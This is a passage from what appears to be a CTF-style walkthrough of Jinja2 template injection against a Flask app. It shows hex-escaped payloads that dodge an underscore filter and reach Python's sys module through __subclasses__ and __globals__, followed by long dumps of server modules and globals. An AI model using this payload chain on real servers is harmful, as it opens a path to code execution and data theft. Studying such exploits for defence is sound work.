'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information., 'frozenset': &amp;lt;type 'frozenset'&amp;gt;, '__name__': '__builtin__', 'ord': &amp;lt;built-in function ord&amp;gt;, 'super': &amp;lt;type 'super'&amp;gt;, 'TypeError': &amp;lt;type 'exceptions.TypeError'&amp;gt;, 'license': Type license() to see the full license text, 'KeyboardInterrupt': &amp;lt;type 'exceptions.KeyboardInterrupt'&amp;gt;, 'UserWarning': &amp;lt;type 'exceptions.UserWarning'&amp;gt;, 'filter': &amp;lt;built-in function filter&amp;gt;, 'range': &amp;lt;built-in function range&amp;gt;, 'staticmethod': &amp;lt;type 'staticmethod'&amp;gt;, 'SystemError': &amp;lt;type 'exceptions.SystemError'&amp;gt;, 'BaseException': &amp;lt;type 'exceptions.BaseException'&amp;gt;, 'pow': &amp;lt;built-in function pow&amp;gt;, 'RuntimeError': &amp;lt;type 'exceptions.RuntimeError'&amp;gt;, 'float': &amp;lt;type 'float'&amp;gt;, 'MemoryError': &amp;lt;type 'exceptions.MemoryError'&amp;gt;, 'StopIteration': &amp;lt;type 'exceptions.StopIteration'&amp;gt;, 'globals': &amp;lt;built-in function globals&amp;gt;, 'divmod': &amp;lt;built-in function divmod&amp;gt;, 'enumerate': &amp;lt;type 'enumerate'&amp;gt;, 'apply': &amp;lt;built-in function apply&amp;gt;, 'LookupError': &amp;lt;type 'exceptions.LookupError'&amp;gt;, 'open': &amp;lt;built-in function open&amp;gt;, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'basestring': &amp;lt;type 'basestring'&amp;gt;, 'UnicodeError': &amp;lt;type 'exceptions.UnicodeError'&amp;gt;, 'zip': &amp;lt;built-in function zip&amp;gt;, 'hex': &amp;lt;built-in function hex&amp;gt;, 'long': &amp;lt;type 'long'&amp;gt;, 'next': &amp;lt;built-in function next&amp;gt;, 'ImportError': &amp;lt;type 'exceptions.ImportError'&amp;gt;, 'chr': &amp;lt;built-in function chr&amp;gt;, 'xrange': &amp;lt;type 'xrange'&amp;gt;, 'type': &amp;lt;type 'type'&amp;gt;, '__doc__': &quot;Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.&quot;, 'Exception': &amp;lt;type 'exceptions.Exception'&amp;gt;, 'tuple': &amp;lt;type 'tuple'&amp;gt;, 'UnicodeTranslateError': &amp;lt;type 'exceptions.UnicodeTranslateError'&amp;gt;, 'reversed': &amp;lt;type 'reversed'&amp;gt;, 'UnicodeEncodeError': &amp;lt;type 'exceptions.UnicodeEncodeError'&amp;gt;, 'IOError': &amp;lt;type 'exceptions.IOError'&amp;gt;, 'hasattr': &amp;lt;built-in function hasattr&amp;gt;, 'delattr': &amp;lt;built-in function delattr&amp;gt;, 'setattr': &amp;lt;built-in function setattr&amp;gt;, 'raw_input': &amp;lt;built-in function raw_input&amp;gt;, 'SyntaxWarning': &amp;lt;type 'exceptions.SyntaxWarning'&amp;gt;, 'compile': &amp;lt;built-in function compile&amp;gt;, 'ArithmeticError': &amp;lt;type 'exceptions.ArithmeticError'&amp;gt;, 'str': &amp;lt;type 'str'&amp;gt;, 'property': &amp;lt;type 'property'&amp;gt;, 'GeneratorExit': &amp;lt;type 'exceptions.GeneratorExit'&amp;gt;, 'int': &amp;lt;type 'int'&amp;gt;, '__import__': &amp;lt;built-in function __import__&amp;gt;, 'KeyError': &amp;lt;type 'exceptions.KeyError'&amp;gt;, 'coerce': &amp;lt;built-in function coerce&amp;gt;, 'PendingDeprecationWarning': &amp;lt;type 'exceptions.PendingDeprecationWarning'&amp;gt;, 'file': &amp;lt;type 'file'&amp;gt;, 'EnvironmentError': &amp;lt;type 'exceptions.EnvironmentError'&amp;gt;, 'unichr': &amp;lt;built-in function unichr&amp;gt;, 'id': &amp;lt;built-in function id&amp;gt;, 'OSError': &amp;lt;type 'exceptions.OSError'&amp;gt;, 'DeprecationWarning': &amp;lt;type 'exceptions.DeprecationWarning'&amp;gt;, 'min': &amp;lt;built-in function min&amp;gt;, 'UnicodeWarning': &amp;lt;type 'exceptions.UnicodeWarning'&amp;gt;, 'execfile': &amp;lt;built-in function execfile&amp;gt;, 'any': &amp;lt;built-in function any&amp;gt;, 'complex': &amp;lt;type 'complex'&amp;gt;, 'bool': &amp;lt;type 'bool'&amp;gt;, 'ValueError': &amp;lt;type 'exceptions.ValueError'&amp;gt;, 'NotImplemented': NotImplemented, 'map': &amp;lt;built-in function map&amp;gt;, 'buffer': &amp;lt;type 'buffer'&amp;gt;, 'max': &amp;lt;built-in function max&amp;gt;, 'object': &amp;lt;type 'object'&amp;gt;, 'TabError': &amp;lt;type 'exceptions.TabError'&amp;gt;, 'callable': &amp;lt;built-in function callable&amp;gt;, 'ZeroDivisionError': &amp;lt;type 'exceptions.ZeroDivisionError'&amp;gt;, 'eval': &amp;lt;built-in function eval&amp;gt;, '__debug__': True, 'IndentationError': &amp;lt;type 'exceptions.IndentationError'&amp;gt;, 'AssertionError': &amp;lt;type 'exceptions.AssertionError'&amp;gt;, 'classmethod': &amp;lt;type 'classmethod'&amp;gt;, 'UnboundLocalError': &amp;lt;type 'exceptions.UnboundLocalError'&amp;gt;, 'NotImplementedError': &amp;lt;type 'exceptions.NotImplementedError'&amp;gt;, 'AttributeError': &amp;lt;type 'exceptions.AttributeError'&amp;gt;, 'OverflowError': &amp;lt;type 'exceptions.OverflowError'&amp;gt;}, 'catch_warnings': &amp;lt;class 'warnings.catch_warnings'&amp;gt;, '__file__': '/usr/local/lib/python2.7/warnings.pyc', 'warnpy3k': &amp;lt;function warnpy3k at 0x7f59df7cdb18&amp;gt;, 'sys': &amp;lt;module 'sys' (built-in)&amp;gt;, '__name__': 'warnings', 'warn_explicit': &amp;lt;built-in function warn_explicit&amp;gt;, 'types': &amp;lt;module 'types' from '/usr/local/lib/python2.7/types.pyc'&amp;gt;, 'warn': &amp;lt;built-in function warn&amp;gt;, '_processoptions': &amp;lt;function _processoptions at 0x7f59df7cdc80&amp;gt;, 'defaultaction': 'default', '__doc__': 'Python part of the warnings subsystem.', 'linecache': &amp;lt;module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'&amp;gt;, '_OptionError': &amp;lt;class 'warnings._OptionError'&amp;gt;, 'resetwarnings': &amp;lt;function resetwarnings at 0x7f59df7cdc08&amp;gt;, 'formatwarning': &amp;lt;function formatwarning at 0x7f59df7cd9b0&amp;gt;, '_getaction': &amp;lt;function _getaction at 0x7f59df7cdd70&amp;gt;}


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys'] 
&amp;lt;module 'sys' (built-in)&amp;gt;


[]['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['sys']['modules'] 
{'flask.collections': None, 'flask.time': None, 'ctypes.os': None, 'flask.logging': &amp;lt;module 'flask.logging' from '/usr/local/lib/python2.7/site-packages/flask/logging.pyc'&amp;gt;, 'jinja2.cPickle': None, 'gc': &amp;lt;module 'gc' (built-in)&amp;gt;, 'jinja2.collections': None, 'jinja2.tests': &amp;lt;module 'jinja2.tests' from '/usr/local/lib/python2.7/site-packages/jinja2/tests.pyc'&amp;gt;, 'flask_session.flask': None, 'logging.weakref': None, 'flask': &amp;lt;module 'flask' from '/usr/local/lib/python2.7/site-packages/flask/__init__.pyc'&amp;gt;, 'flask.flask': None, 'pprint': &amp;lt;module 'pprint' from '/usr/local/lib/python2.7/pprint.pyc'&amp;gt;, 'email.MIMENonMultipart': &amp;lt;email.LazyImporter object at 0x7f59d8f220d0&amp;gt;, 'werkzeug.posixemulation': &amp;lt;module 'werkzeug.posixemulation' from '/usr/local/lib/python2.7/site-packages/werkzeug/posixemulation.pyc'&amp;gt;, 'string': &amp;lt;module 'string' from '/usr/local/lib/python2.7/string.pyc'&amp;gt;, 'encodings.utf_8': &amp;lt;module 'encodings.utf_8' from '/usr/local/lib/python2.7/encodings/utf_8.pyc'&amp;gt;, 'markupsafe': &amp;lt;module 'markupsafe' from '/usr/local/lib/python2.7/site-packages/markupsafe/__init__.pyc'&amp;gt;, 'json.encoder': &amp;lt;module 'json.encoder' from '/usr/local/lib/python2.7/json/encoder.pyc'&amp;gt;, 'subprocess': &amp;lt;module 'subprocess' from '/usr/local/lib/python2.7/subprocess.pyc'&amp;gt;, '_ast': &amp;lt;module '_ast' (built-in)&amp;gt;, 'werkzeug.types': None, 'jinja2.traceback': None, 'uwsgi': &amp;lt;module 'uwsgi' (built-in)&amp;gt;, 'jinja2.exceptions': &amp;lt;module 'jinja2.exceptions' from '/usr/local/lib/python2.7/site-packages/jinja2/exceptions.pyc'&amp;gt;, 'dis': &amp;lt;module 'dis' from '/usr/local/lib/python2.7/dis.pyc'&amp;gt;, 'logging.threading': None, 'flask.mimetypes': None, 'jinja2.parser': &amp;lt;module 'jinja2.parser' from '/usr/local/lib/python2.7/site-packages/jinja2/parser.pyc'&amp;gt;, 'werkzeug.errno': None, 'flask_session.time': None, 'flask.json.codecs': None, 'jinja2.errno': None, 'flask.unicodedata': None, 'click': &amp;lt;module 'click' from '/usr/local/lib/python2.7/site-packages/click/__init__.pyc'&amp;gt;, 'jinja2.sys': None, 'abc': &amp;lt;module 'abc' from '/usr/local/lib/python2.7/abc.pyc'&amp;gt;, 'jinja2.defaults': &amp;lt;module 'jinja2.defaults' from '/usr/local/lib/python2.7/site-packages/jinja2/defaults.pyc'&amp;gt;, 'flask.globals': &amp;lt;module 'flask.globals' from '/usr/local/lib/python2.7/site-packages/flask/globals.pyc'&amp;gt;, 'click.parser': &amp;lt;module 'click.parser' from '/usr/local/lib/python2.7/site-packages/click/parser.pyc'&amp;gt;, 'werkzeug.wrappers': &amp;lt;module 'werkzeug.wrappers' from '/usr/local/lib/python2.7/site-packages/werkzeug/wrappers.pyc'&amp;gt;, 'jinja2.markupsafe': None, 'ctypes.tempfile': None, '_ctypes': &amp;lt;module '_ctypes' from '/usr/local/lib/python2.7/lib-dynload/_ctypes.so'&amp;gt;, 'exceptions': &amp;lt;module 'exceptions' (built-in)&amp;gt;, 'json.scanner': &amp;lt;module 'json.scanner' from '/usr/local/lib/python2.7/json/scanner.pyc'&amp;gt;, 'codecs': &amp;lt;module 'codecs' from '/usr/local/lib/python2.7/codecs.pyc'&amp;gt;, 'jinja2.lexer': &amp;lt;module 'jinja2.lexer' from '/usr/local/lib/python2.7/site-packages/jinja2/lexer.pyc'&amp;gt;, 'flask_session.uuid': None, 'click.errno': None, 'StringIO': &amp;lt;module 'StringIO' from '/usr/local/lib/python2.7/StringIO.pyc'&amp;gt;, 'weakref': &amp;lt;module 'weakref' from '/usr/local/lib/python2.7/weakref.pyc'&amp;gt;, 'itsdangerous.signer': &amp;lt;module 'itsdangerous.signer' from '/usr/local/lib/python2.7/site-packages/itsdangerous/signer.pyc'&amp;gt;, 'werkzeug.contrib.re': None, 'jinja2.threading': None, 'flask_session': &amp;lt;module 'flask_session' from '/usr/local/lib/python2.7/site-packages/flask_session/__init__.pyc'&amp;gt;, 'base64': &amp;lt;module 'base64' from '/usr/local/lib/python2.7/base64.pyc'&amp;gt;, '_sre': &amp;lt;module '_sre' (built-in)&amp;gt;, 'itsdangerous.numbers': None, 'email.FeedParser': &amp;lt;email.LazyImporter object at 0x7f59d8f12cd0&amp;gt;, 'logging.sys': None, 'flask.zlib': None, 'werkzeug.pkgutil': None, 'ctypes._ctypes': None, '_heapq': &amp;lt;module '_heapq' from '/usr/local/lib/python2.7/lib-dynload/_heapq.so'&amp;gt;, 'werkzeug.base64': None, 'jinja2.jinja2': None, 'werkzeug.hashlib': None, 'click.os': None, 'werkzeug.datastructures': &amp;lt;module 'werkzeug.datastructures' from '/usr/local/lib/python2.7/site-packages/werkzeug/datastructures.pyc'&amp;gt;, 'email.MIMEMessage': &amp;lt;email.LazyImporter object at 0x7f59d8f12fd0&amp;gt;, 'email._parseaddr': &amp;lt;module 'email._parseaddr' from '/usr/local/lib/python2.7/email/_parseaddr.pyc'&amp;gt;, 'email.sys': None, 'tokenize': &amp;lt;module 'tokenize' from '/usr/local/lib/python2.7/tokenize.pyc'&amp;gt;, 'werkzeug.threading': None, 'logging.thread': None, 'jinja2.weakref': None, 'cPickle': &amp;lt;module 'cPickle' from '/usr/local/lib/python2.7/lib-dynload/cPickle.so'&amp;gt;, 'markupsafe.re': None, 'jinja2.tempfile': None, 'click.codecs': None, 'click._unicodefun': &amp;lt;module 'click._unicodefun' from '/usr/local/lib/python2.7/site-packages/click/_unicodefun.pyc'&amp;gt;, 'click.inspect': None, 'unicodedata': &amp;lt;module 'unicodedata' from '/usr/local/lib/python2.7/lib-dynload/unicodedata.so'&amp;gt;, 'thread': &amp;lt;module 'thread' (built-in)&amp;gt;, 'flask.json.uuid': None, 'flask_session.os': None, '_bisect': &amp;lt;module '_bisect' from '/usr/local/lib/python2.7/lib-dynload/_bisect.so'&amp;gt;, 'click.globals': &amp;lt;module 'click.globals' from '/usr/local/lib/python2.7/site-packages/click/globals.pyc'&amp;gt;, 'encodings.aliases': &amp;lt;module 'encodings.aliases' from '/usr/local/lib/python2.7/encodings/aliases.pyc'&amp;gt;, 'fnmatch': &amp;lt;module 'fnmatch' from '/usr/local/lib/python2.7/fnmatch.pyc'&amp;gt;, 'sre_parse': &amp;lt;module 'sre_parse' from '/usr/local/lib/python2.7/sre_parse.pyc'&amp;gt;, 'pickle': &amp;lt;module 'pickle' from '/usr/local/lib/python2.7/pickle.pyc'&amp;gt;, 'logging.cStringIO': None, 'itsdangerous.exc': &amp;lt;module 'itsdangerous.exc' from '/usr/local/lib/python2.7/site-packages/itsdangerous/exc.pyc'&amp;gt;, 'click.sys': None, 'numbers': &amp;lt;module 'numbers' from '/usr/local/lib/python2.7/numbers.pyc'&amp;gt;, 'flask.json.io': None, 'jinja2.utils': &amp;lt;module 'jinja2.utils' from '/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc'&amp;gt;, 'email.Header': &amp;lt;email.LazyImporter object at 0x7f59d8f12d50&amp;gt;, 'email.MIMEBase': &amp;lt;email.LazyImporter object at 0x7f59d8f12f50&amp;gt;, 'strop': &amp;lt;module 'strop' from '/usr/local/lib/python2.7/lib-dynload/strop.so'&amp;gt;, 'flask._compat': &amp;lt;module 'flask._compat' from '/usr/local/lib/python2.7/site-packages/flask/_compat.pyc'&amp;gt;, 'ctypes.util': &amp;lt;module 'ctypes.util' from '/usr/local/lib/python2.7/ctypes/util.pyc'&amp;gt;, 'click.exceptions': &amp;lt;module 'click.exceptions' from '/usr/local/lib/python2.7/site-packages/click/exceptions.pyc'&amp;gt;, 'flask.inspect': None, 'htmlentitydefs': &amp;lt;module 'htmlentitydefs' from '/usr/local/lib/python2.7/htmlentitydefs.pyc'&amp;gt;, 'werkzeug.thread': None, 'os.path': &amp;lt;module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'&amp;gt;, 'flask.ssl': None, 'werkzeug.routing': &amp;lt;module 'werkzeug.routing' from '/usr/local/lib/python2.7/site-packages/werkzeug/routing.pyc'&amp;gt;, 'click.__future__': None, 'werkzeug.formparser': &amp;lt;module 'werkzeug.formparser' from '/usr/local/lib/python2.7/site-packages/werkzeug/formparser.pyc'&amp;gt;, '_weakrefset': &amp;lt;module '_weakrefset' from '/usr/local/lib/python2.7/_weakrefset.pyc'&amp;gt;, 'werkzeug.operator': None, 'jinja2.debug': &amp;lt;module 'jinja2.debug' from '/usr/local/lib/python2.7/site-packages/jinja2/debug.pyc'&amp;gt;, 'functools': &amp;lt;module 'functools' from '/usr/local/lib/python2.7/functools.pyc'&amp;gt;, 'ctypes.re': None, 'sysconfig': &amp;lt;module 'sysconfig' from '/usr/local/lib/python2.7/sysconfig.pyc'&amp;gt;, 'email.MIMEImage': &amp;lt;email.LazyImporter object at 0x7f59d8f12f90&amp;gt;, 'jinja2.json': None, 'email.MIMEText': &amp;lt;email.LazyImporter object at 0x7f59d8f22190&amp;gt;, 'flask_session.cPickle': None, 'uuid': &amp;lt;module 'uuid' from '/usr/local/lib/python2.7/uuid.pyc'&amp;gt;, 'itsdangerous._json': &amp;lt;module 'itsdangerous._json' from '/usr/local/lib/python2.7/site-packages/itsdangerous/_json.pyc'&amp;gt;, 'tempfile': &amp;lt;module 'tempfile' from '/usr/local/lib/python2.7/tempfile.pyc'&amp;gt;, 'imp': &amp;lt;module 'imp' (built-in)&amp;gt;, 'werkzeug.http': &amp;lt;module 'werkzeug.http' from '/usr/local/lib/python2.7/site-packages/werkzeug/http.pyc'&amp;gt;, 'main': &amp;lt;module 'main' from './main.pyc'&amp;gt;, 'flask.json.jinja2': None, 'jinja2': &amp;lt;module 'jinja2' from '/usr/local/lib/python2.7/site-packages/jinja2/__init__.pyc'&amp;gt;, 'itsdangerous.sys': None, 'werkzeug._compat': &amp;lt;module 'werkzeug._compat' from '/usr/local/lib/python2.7/site-packages/werkzeug/_compat.pyc'&amp;gt;, 'email.urllib': None, 'werkzeug.urllib': None, 'click.fcntl': None, 'werkzeug.contrib.cache': &amp;lt;module 'werkzeug.contrib.cache' from '/usr/local/lib/python2.7/site-packages/werkzeug/contrib/cache.pyc'&amp;gt;, 'httplib': &amp;lt;module 'httplib' from '/usr/local/lib/python2.7/httplib.pyc'&amp;gt;, 'decimal': &amp;lt;module 'decimal' from '/usr/local/lib/python2.7/decimal.pyc'&amp;gt;, 'flask.json.tag': &amp;lt;module 'flask.json.tag' from '/usr/local/lib/python2.7/site-packages/flask/json/tag.pyc'&amp;gt;, 'token': &amp;lt;module 'token' from '/usr/local/lib/python2.7/token.pyc'&amp;gt;, 'email.encoders': &amp;lt;module 'email.encoders' from '/usr/local/lib/python2.7/email/encoders.pyc'&amp;gt;, 'werkzeug.difflib': None, 'cStringIO': &amp;lt;module 'cStringIO' from '/usr/local/lib/python2.7/lib-dynload/cStringIO.so'&amp;gt;, 'werkzeug.re': None, 'flask.ast': None, 'ctypes.errno': None, 'encodings': &amp;lt;module 'encodings' from '/usr/local/lib/python2.7/encodings/__init__.pyc'&amp;gt;, 'flask.sys': None, 'flask.json.flask': None, 'rfc822': &amp;lt;module 'rfc822' from '/usr/local/lib/python2.7/rfc822.pyc'&amp;gt;, 'click.utils': &amp;lt;module 'click.utils' from '/usr/local/lib/python2.7/site-packages/click/utils.pyc'&amp;gt;, 're': &amp;lt;module 're' from '/usr/local/lib/python2.7/re.pyc'&amp;gt;, 'click.stat': None, 'email.quopri': None, 'math': &amp;lt;module 'math' from '/usr/local/lib/python2.7/lib-dynload/math.so'&amp;gt;, 'jinja2.compiler': &amp;lt;module 'jinja2.compiler' from '/usr/local/lib/python2.7/site-packages/jinja2/compiler.pyc'&amp;gt;, 'werkzeug.copy': None, 'ast': &amp;lt;module 'ast' from '/usr/local/lib/python2.7/ast.pyc'&amp;gt;, 'itsdangerous.json': None, 'ctypes.struct': None, 'werkzeug.collections': None, 'werkzeug.io': None, 'jinja2.copy': None, 'markupsafe.string': None, '_locale': &amp;lt;module '_locale' from '/usr/local/lib/python2.7/lib-dynload/_locale.so'&amp;gt;, 'logging': &amp;lt;module 'logging' from '/usr/local/lib/python2.7/logging/__init__.pyc'&amp;gt;, 'flask.traceback': None, 'traceback': &amp;lt;module 'traceback' from '/usr/local/lib/python2.7/traceback.pyc'&amp;gt;, 'werkzeug.test': &amp;lt;module 'werkzeug.test' from '/usr/local/lib/python2.7/site-packages/werkzeug/test.pyc'&amp;gt;, 'werkzeug.filesystem': &amp;lt;module 'werkzeug.filesystem' from '/usr/local/lib/python2.7/site-packages/werkzeug/filesystem.pyc'&amp;gt;, '_collections': &amp;lt;module '_collections' from '/usr/local/lib/python2.7/lib-dynload/_collections.so'&amp;gt;, 'werkzeug.mimetypes': None, 'werkzeug.cookielib': None, 'flask.jinja2': None, 'click.decorators': &amp;lt;module 'click.decorators' from '/usr/local/lib/python2.7/site-packages/click/decorators.pyc'&amp;gt;, 'array': &amp;lt;module 'array' from '/usr/local/lib/python2.7/lib-dynload/array.so'&amp;gt;, 'email.Errors': &amp;lt;email.LazyImporter object at 0x7f59d8f12c90&amp;gt;, 'ctypes.sys': None, '_LWPCookieJar': &amp;lt;module '_LWPCookieJar' from '/usr/local/lib/python2.7/_LWPCookieJar.pyc'&amp;gt;, 'posixpath': &amp;lt;module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'&amp;gt;, 'click.collections': None, 'itsdangerous.timed': &amp;lt;module 'itsdangerous.timed' from '/usr/local/lib/python2.7/site-packages/itsdangerous/timed.pyc'&amp;gt;, 'types': &amp;lt;module 'types' from '/usr/local/lib/python2.7/types.pyc'&amp;gt;, 'flask.hashlib': None, 'json._json': None, 'flask.ctx': &amp;lt;module 'flask.ctx' from '/usr/local/lib/python2.7/site-packages/flask/ctx.pyc'&amp;gt;, 'flask.pkgutil': None, '_codecs': &amp;lt;module '_codecs' (built-in)&amp;gt;, 'json.sys': None, 'copy': &amp;lt;module 'copy' from '/usr/local/lib/python2.7/copy.pyc'&amp;gt;, 'click.struct': None, 'hashlib': &amp;lt;module 'hashlib' from '/usr/local/lib/python2.7/hashlib.pyc'&amp;gt;, 'click.formatting': &amp;lt;module 'click.formatting' from '/usr/local/lib/python2.7/site-packages/click/formatting.pyc'&amp;gt;, 'itsdangerous.string': None, 'keyword': &amp;lt;module 'keyword' from '/usr/local/lib/python2.7/keyword.pyc'&amp;gt;, 'click.datetime': None, 'posix': &amp;lt;module 'posix' (built-in)&amp;gt;, 'jinja2.math': None, 'werkzeug.contrib.os': None, 'sre_compile': &amp;lt;module 'sre_compile' from '/usr/local/lib/python2.7/sre_compile.pyc'&amp;gt;, '_hashlib': &amp;lt;module '_hashlib' from '/usr/local/lib/python2.7/lib-dynload/_hashlib.so'&amp;gt;, 'flask_session.datetime': None, 'werkzeug.contrib.cPickle': None, 'logging.collections': None, 'email.base64': None, '__main__': &amp;lt;module '__main__' (built-in)&amp;gt;, 'jinja2.functools': None, 'click.contextlib': None, 'flask.datetime': None, 'encodings.codecs': None, 'email.MIMEMultipart': &amp;lt;email.LazyImporter object at 0x7f59d8f22050&amp;gt;, 'flask.functools': None, 'werkzeug.htmlentitydefs': None, 'jinja2.hashlib': None, 'warnings': &amp;lt;module 'warnings' from '/usr/local/lib/python2.7/warnings.pyc'&amp;gt;, 'encodings.ascii': &amp;lt;module 'encodings.ascii' from '/usr/local/lib/python2.7/encodings/ascii.pyc'&amp;gt;, 'click.threading': None, 'werkzeug.email': None, 'werkzeug.weakref': None, 'werkzeug.urllib2': None, 'flask.json.base64': None, 'jinja2.operator': None, '_io': &amp;lt;module '_io' from '/usr/local/lib/python2.7/lib-dynload/_io.so'&amp;gt;, 'linecache': &amp;lt;module 'linecache' from '/usr/local/lib/python2.7/linecache.pyc'&amp;gt;, 'click.itertools': None, 'flask.blueprints': &amp;lt;module 'flask.blueprints' from '/usr/local/lib/python2.7/site-packages/flask/blueprints.pyc'&amp;gt;, 'flask.helpers': &amp;lt;module 'flask.helpers' from '/usr/local/lib/python2.7/site-packages/flask/helpers.pyc'&amp;gt;, 'hmac': &amp;lt;module 'hmac' from '/usr/local/lib/python2.7/hmac.pyc'&amp;gt;, 'itsdangerous.struct': None, 'random': &amp;lt;module 'random' from '/usr/local/lib/python2.7/random.pyc'&amp;gt;, 'heapq': &amp;lt;module 'heapq' from '/usr/local/lib/python2.7/heapq.pyc'&amp;gt;, 'flask.templating': &amp;lt;module 'flask.templating' from '/usr/local/lib/python2.7/site-packages/flask/templating.pyc'&amp;gt;, 'datetime': &amp;lt;module 'datetime' from '/usr/local/lib/python2.7/lib-dynload/datetime.so'&amp;gt;, 'logging.os': None, 'ctypes._endian': &amp;lt;module 'ctypes._endian' from '/usr/local/lib/python2.7/ctypes/_endian.pyc'&amp;gt;, 'encodings.encodings': None, 'jinja2.marshal': None, 'jinja2.loaders': &amp;lt;module 'jinja2.loaders' from '/usr/local/lib/python2.7/site-packages/jinja2/loaders.pyc'&amp;gt;, 'email.time': None, '_json': &amp;lt;module '_json' from '/usr/local/lib/python2.7/lib-dynload/_json.so'&amp;gt;, 'itsdangerous.url_safe': &amp;lt;module 'itsdangerous.url_safe' from '/usr/local/lib/python2.7/site-packages/itsdangerous/url_safe.pyc'&amp;gt;, 'itsdangerous.hashlib': None, 'itsdangerous': &amp;lt;module 'itsdangerous' from '/usr/local/lib/python2.7/site-packages/itsdangerous/__init__.pyc'&amp;gt;, 'fort': &amp;lt;module 'fort' from './fort.pyc'&amp;gt;, 'werkzeug.utils': &amp;lt;module 'werkzeug.utils' from '/usr/local/lib/python2.7/site-packages/werkzeug/utils.pyc'&amp;gt;, 'werkzeug.uuid': None, 'click.termui': &amp;lt;module 'click.termui' from '/usr/local/lib/python2.7/site-packages/click/termui.pyc'&amp;gt;, 'click.io': None, 'flask_session.werkzeug': None, 'ssl': &amp;lt;module 'ssl' from '/usr/local/lib/python2.7/ssl.pyc'&amp;gt;, 'werkzeug.zlib': None, 'jinja2.ctypes': None, 'cookielib': &amp;lt;module 'cookielib' from '/usr/local/lib/python2.7/cookielib.pyc'&amp;gt;, 'jinja2.cStringIO': None, 'flask.operator': None, 'bisect': &amp;lt;module 'bisect' from '/usr/local/lib/python2.7/bisect.pyc'&amp;gt;, 'threading': &amp;lt;module 'threading' from '/usr/local/lib/python2.7/threading.pyc'&amp;gt;, 'flask.json.itsdangerous': None, 'email.Message': &amp;lt;email.LazyImporter object at 0x7f59d8f12dd0&amp;gt;, 'fcntl': &amp;lt;module 'fcntl' from '/usr/local/lib/python2.7/lib-dynload/fcntl.so'&amp;gt;, 'werkzeug.sys': None, 'flask_session.sessions': &amp;lt;module 'flask_session.sessions' from '/usr/local/lib/python2.7/site-packages/flask_session/sessions.pyc'&amp;gt;, 'locale': &amp;lt;module 'locale' from '/usr/local/lib/python2.7/locale.pyc'&amp;gt;, 'flask.cli': &amp;lt;module 'flask.cli' from '/usr/local/lib/python2.7/site-packages/flask/cli.pyc'&amp;gt;, 'jinja2.os': None, 'atexit': &amp;lt;module 'atexit' from '/usr/local/lib/python2.7/atexit.pyc'&amp;gt;, 'email.quopriMIME': &amp;lt;email.LazyImporter object at 0x7f59d8f12ed0&amp;gt;, 'werkzeug.cStringIO': None, 'flask_session.sys': None, 'calendar': &amp;lt;module 'calendar' from '/usr/local/lib/python2.7/calendar.pyc'&amp;gt;, 'jinja2.urllib': None, 'werkzeug._internal': &amp;lt;module 'werkzeug._internal' from '/usr/local/lib/python2.7/site-packages/werkzeug/_internal.pyc'&amp;gt;, 'flask.posixpath': None, 'urllib': &amp;lt;module 'urllib' from '/usr/local/lib/python2.7/urllib.pyc'&amp;gt;, 'flask.re': None, 'werkzeug.contrib.werkzeug': None, '_MozillaCookieJar': &amp;lt;module '_MozillaCookieJar' from '/usr/local/lib/python2.7/_MozillaCookieJar.pyc'&amp;gt;, 'ctypes.subprocess': None, 'email': &amp;lt;module 'email' from '/usr/local/lib/python2.7/email/__init__.pyc'&amp;gt;, 'werkzeug.socket': None, 'werkzeug.time': None, 'ctypes': &amp;lt;module 'ctypes' from '/usr/local/lib/python2.7/ctypes/__init__.pyc'&amp;gt;, 'werkzeug.pprint': None, 'click.core': &amp;lt;module 'click.core' from '/usr/local/lib/python2.7/site-packages/click/core.pyc'&amp;gt;, 'json.re': None, 'flask.socket': None, 'itertools': &amp;lt;module 'itertools' from '/usr/local/lib/python2.7/lib-dynload/itertools.so'&amp;gt;, 'opcode': &amp;lt;module 'opcode' from '/usr/local/lib/python2.7/opcode.pyc'&amp;gt;, 'email.calendar': None, 'platform': &amp;lt;module 'platform' from '/usr/local/lib/python2.7/platform.pyc'&amp;gt;, 'werkzeug.wsgi': &amp;lt;module 'werkzeug.wsgi' from '/usr/local/lib/python2.7/site-packages/werkzeug/wsgi.pyc'&amp;gt;, 'jinja2.random': None, 'encodings.unicode_escape': &amp;lt;module 'encodings.unicode_escape' from '/usr/local/lib/python2.7/encodings/unicode_escape.pyc'&amp;gt;, 'pkgutil': &amp;lt;module 'pkgutil' from '/usr/local/lib/python2.7/pkgutil.pyc'&amp;gt;, 'email.base64MIME': &amp;lt;email.LazyImporter object at 0x7f59d8f12e90&amp;gt;, 'flask.json.werkzeug': None, 'sre_constants': &amp;lt;module 'sre_constants' from '/usr/local/lib/python2.7/sre_constants.pyc'&amp;gt;, 'json': &amp;lt;module 'json' from '/usr/local/lib/python2.7/json/__init__.pyc'&amp;gt;, 'itsdangerous.itertools': None, 'flask.app': &amp;lt;module 'flask.app' from '/usr/local/lib/python2.7/site-packages/flask/app.pyc'&amp;gt;, 'email.utils': &amp;lt;module 'email.utils' from '/usr/local/lib/python2.7/email/utils.pyc'&amp;gt;, 'werkzeug.string': None, 'logging.atexit': None, 'jinja2.bccache': &amp;lt;module 'jinja2.bccache' from '/usr/local/lib/python2.7/site-packages/jinja2/bccache.pyc'&amp;gt;, 'werkzeug.contrib.time': None, 'email.socket': None, 'email.email': None, 'flask.click': None, 'zlib': &amp;lt;module 'zlib' from '/usr/local/lib/python2.7/lib-dynload/zlib.so'&amp;gt;, 'itsdangerous.zlib': None, 'email.random': None, 'json.decoder': &amp;lt;module 'json.decoder' from '/usr/local/lib/python2.7/json/decoder.pyc'&amp;gt;, 'werkzeug.StringIO': None, 'copy_reg': &amp;lt;module 'copy_reg' from '/usr/local/lib/python2.7/copy_reg.pyc'&amp;gt;, 'itsdangerous.datetime': None, 'site': &amp;lt;module 'site' from 